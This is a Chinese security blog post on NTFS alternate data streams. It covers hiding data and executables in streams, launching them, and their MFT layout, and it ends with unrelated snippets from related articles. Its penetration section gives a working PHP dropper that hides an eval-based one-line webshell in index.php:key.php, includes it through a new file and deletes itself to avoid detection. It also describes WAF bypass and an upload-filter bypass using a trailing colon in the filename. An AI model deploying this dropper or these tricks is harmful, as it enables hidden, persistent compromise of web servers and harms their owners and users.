文件寄生——寻找宿主的不归路(NTFS文件流实际应用)

咱们今天来研究下NTFS文件流:

NTFS文件系统实现了多文件流特性,NTFS环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序

NTFS文件流生成步骤:
1.我们在任意一个NTFS分区下打开CMD命令提示符,输入echo mstlab>>mst.txt:test.txt,则在当前目录下会生成一个名为mst.txt的文件,但文件的大小为0字节,打开后也无任何内容。
 

只有输入命令:notepad mst.txt:test.txt 才能看见写入的mstlab
 

2.在上边的命令中,mst.txt可以不存在,也可以是某个已存的文件,文件格式无所谓,无论是.txt还是.jpg|.exe|.asp都行b.txt也可以任意指定文件名以及后缀名。(可以将任意文本信息隐藏于任意文件中,只要不泄露冒号后的虚拟文件名(即test.txt),别人是根本不会查看到隐藏信息的)。

3.包含隐藏信息的文件仍然可以继续隐藏其它的内容,对比上例,我们仍然可以使用命令echo mstlab1>>mst.txt:test1.txt 给mst.txt建立新的隐藏信息的流文件,使用命令notepad mst.txt:test1.txt 打开后会发现mstlab1这段信息,而mstlab仍然存在于mst.txt:test.txt中丝毫不受影响。
 
所以这里的宿主mst.txt成功的被test.txt和test1.txt所寄生,而在这里的微妙关系显而易见,宿主消失寄生消失

NTFS特性和原理分析:
特性1:
实验工具下载:https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
工具使用说明:
create      创建文件流
enum       列举文件流
delete      删除文件流
write       写入内容到文件流
append     增加文件到文件流
launch      执行文件流的内容
dump       读取文件流的内容

我们让上一步骤归零,重新来看看mst.txt:

而这里的default文件流就验证了最开头的一句话,默认使用的是为命名的文件流。

实验开始,首先我们使用FileStreams.exe创建一个文件流vkey:
FileStreams.exe create mst.txt vkey
 

然后写入内容到文件流vkey

FileStreams.exe create mst.txt vkey content

再来查看文件流vkey的内容

FileStreams.exe dump mst.txt vkey 14
这里的14从何而来,相信聪明的你们能明白。(文件流vkey大小 14)
 

那么最开始也说了,文件流是可以用来启动程序的,我们来试试:
1.加入文件到文件流vkey:
FileStreams.exe append mst.txt vkey C:\Users\gh0stkey\Desktop\test\FileStreams.exe

2.查看文件流vkey的内容,这里就看前100个字节的内容:
FileStreams.exe dump mst.txt vkey 100

3.执行文件流vkey:

顺利的执行了C:\Users\gh0stkey\Desktop\test\FileStreams.exe 这个文件。
特性2
自动创建空文件:


自动创建宿主,然后寄生。

在没有原文件的情况下创建文件流,会自动创建一个空文件。
原理分析:
好,现在我们以及初步了解了文件流的特性。再来看看NTFS文件流实现原理:

如文件大小,文件创建时间,文件修改时间,文件名,文件内容等被组织成属性来存放,NTFS定义了一序列的文件属性:

详细说明可以搜索NTFS3G,这些属性统一组织在NTFS的MFT(Master
File
Table)上,每个MFT大小1024个字节,MFT的$DATA属性即是前面提到的文件流,通常来说包含多个不同名字的$DATA属性即说明该文件存在多个文件流,下图是winhex打开1.txt定位到1.txt的MFT,我们实际看一下NTFS是如何组织的:

可以看到文件流test2的数据是直接存放在MFT上,因为test2的数据小,而testExe的数据则没有明显看出来,因为testExe数据比较大,MFT里面存放的是簇信息。

渗透中的利用:

Webshell后门隐藏:

<?php
exec(‘echo "<?php @eval($_POST[key]);?>">>index.php:key.php‘);
$key = <<<key
echo "<?php include ‘index.php:key.php‘;?>">>a.php
key;
exec($key);
$url = $_SERVER[‘PHP_SELF‘];
$filename= substr($url,strrpos($url,‘/‘)+1);
@unlink($filename);
?>

为什么这样写?首先我们知道网站的默认首页是index.php,所以我们使用了第一段代码:

exec(‘echo "<?php @eval($_POST[key]);?>">>index.php:key.php‘);

直接写一个一句话内容到key.php这个文件流中。

其次,文件流是不可能直接执行的,但是PHP可以使用包含函数,所以就产生了第二段代码:

$key = <<<key
echo "<?php include ‘index.php:key.php‘;?>">>a.php
key;
exec($key);

最后,为了不被发现要删除本身文件,就出来了代码:

$url = $_SERVER[‘PHP_SELF‘];
$filename= substr($url,strrpos($url,‘/‘)+1);
@unlink($filename);

软件后门隐藏:
使用特性1写一段代码后台自动运行这个文件流即可。

ByPass WAF:
测试了下一些WAF还是可以绕过的。
较为鸡肋:
 

需要有一个文件包含才行。

当然一些局限性的限制寄生虫可以拿到主权:
利用下面的默认流替换特性上传文件名为1.php:的文件,绕过后缀名限制即可。

当然你也可以做一个持续性webshell后门,然后使用include包含起来即可利用:

默认流替换:

默认流也就是宿主自身的,这里完全可以吞噬宿主,成为宿主。

这个方法算是打破常规的认识了,很有意思。

如上图,我们直接执行echo xxxx>>1.txt:
即可替换默认流:
 
当然如果宿主不存在,将会创建宿主并且吞噬宿主,从而成为宿主。

此方法笔者在一次局限性的命令执行中完美运用上了。

总结:
原文件=宿主,文件流=寄生虫。各位朋友根据根据这篇文章的基础继续深入研究,把文件流应用于各种操作之中,造出"猥琐"流。

时间: 2024-11-26 09:13:10

文件寄生——寻找宿主的不归路(NTFS文件流实际应用)的相关文章

Python不归路_文件操作(一)

Python文件操作 Python文件操作的语法是: open(file,mode,buffering,encoding,erros,newline,closefd) 我们先来看下各个参数, file:很明显,输入文件的路径. mode:mode参数有很多  r 以只读方式打开文件,默认参数  r+ 以读写方式打开文件   w 以写入方式打开文件,如果文件存在,先删除原文件,再创建文件:如果文件不存在直接创建  w+ 以读写方式打开文件,如果文件存在,先删除原文件,再创建文件:如果文件不存在直接

文件寄生——寄生虫自体繁衍的道路

Hi,又跟大家见面了,相信大家看了上一篇文章<文件寄生--寻找宿主的不归路(NTFS文件流实际应用)>后,都有看到局限性的一面. 没看过上一篇文章的建议先去看完,然后再来看这篇文章,这样相对可以更加的理解.传送门:https://bbs.ichunqiu.com/thread-21137-1-1.html本文作者:i春秋签约作家-gh0stkey 首先来解答一下很多人问得问题: 这个NTFS数据流文件,也叫Alternate data streams,简称ADS,是NTFS文件系统的一个特性之

走入asp.net mvc不归路:[2]控制器概览

asp.net mvc中最灵活的地方就是控制器,这里可以验证数据,可以跳转视图,还可以访问数据库等等.所以,我们要先从这里说起. 1 控制器就是继承了Controller的类,一般来说,类名后面都会增加"Controller"字样,asp.net mvc是一个约定优先的框架,在这里就能看到一点点端倪,接下来还要涉及到其他约定 2 这个控制器里面,有一些方法,其中图示的public并且返回值为ActionResult的方法就是所谓的Action,可以理解为动作.行为.功能等:图示就是登录

走入asp.net mvc不归路:[1]项目文件结构

先来了解一下一个asp.net mvc项目的文件结构. 1 项目文件结构一览 2 mvc,顾名思义,一个项目中最重要的就是这三个东西:M(Model,模型),V(View,视图),C(Controller控制器),其关系一般如下,控制器控制模型和视图,模型传数据给视图: 3 控制器就是控制整个逻辑走向的机制,可以对模型数据进行处理,也可以控制呈现在用户眼前的视图. 4 一般来说,一类的操作会放在同一个控制器中,如账号相关则放于AccountController中,里面有各种Action,即一个一

走入asp.net mvc不归路:[3]创建控制器

实际上,控制器就是一个类,一个继承自Controller的类.正常创建一个Controller即可,而问题在于asp.net mvc提供了一套便捷的方法,在创建一个Controller时,可以自动创建一些Action.   1 打开项目,在Controller文件夹上右键,选择,创建Controller 2 输入控制器名,点击确定:注意,控制器名一般都有Controller作为后缀 3 框架会创建这个控制器,继续自Controller,并全默认生成一个名为Index的Action 4 其实上并没

Python不归路_字符编码操作

文件操作补充 上篇随笔中写了文件操作的几个方法,其中truncate()方法遗漏,truncate()方法作用是截取内容,f.truncate()不带参数会清空文件内容,带参数表示截取从零到参数的位置 字符编码 在<Python不归路_零基础学习二>中我们已经学习了一些编码的知识,比如ASCII一共有255个符号,Unicode中,中文字符占两个字节,英文占一个字节,utf-8是unicode的优化方案,中文字节占三个字符.不同字符编码之间需要相互转化才能正常读取.encode和decode,

docker拷贝宿主与容器中的文件

从容器里面拷文件到宿主机 语法:docker cp 容器名:要拷贝的文件在容器里面的路径 要拷贝到宿主机的相应路径 例子:容器名为ubuntu,要从容器里面拷贝的文件路为:/usr/local/tomcat/webapps/test/js/test.js, 现在要将test.js从容器里面拷到宿主机的 /opt 路径下面 在宿主机上面执行命令 docker cp ubuntu:/usr/local/tomcat/webapps/test/js/test.js /opt 从宿主机拷文件到容器里面

Linux学习之路&mdash;Linux文件与目录管理

该内容来自鸟哥私房菜 1.目录的相关操作 1.1 特殊的目录 .  代表此层目录 .. 代表上一层目录 -  代表前一个工作目录 ~ 代表"目前用户身份"所在的主文件夹 ~account  代表account这个用户的主文件夹 1.2 目录的基本操作 cd:切换目录 pwd:显示当前目录 mkdir:创建目录 rmdir:删除目录 2.文件的相关操作 创建新的文件touch(也可以修改文件时间) 复制cp:通常源文件与目的文件的权限会不同,目的文件的所有者通常为命令操作者本身,而文件的

windows客户端开发--也许是一条不归路

如今的Windows客户端开发,已经被同行嘲笑为鸡肋,甚至有些人认识做Windows客户端就是一个笑柄. 食之无味,弃之可惜. 不可否认,PC端没落的很快. 但是想说的是,任何一门技术都有存在的道理. 微软就是所有Windows客户端开发人员的大腿,虽然这个大腿让人捉摸不定,主方向总是变化. 换言之,Windows客户端开发难度不小.如果你能轻松的驾驭指针.内存.类等等,即使有一个Windows客户端彻底完蛋了,你也许只用一个星期或是一个月就掌握了另一种编程语言开发. 重要的是思想~ 我个人认为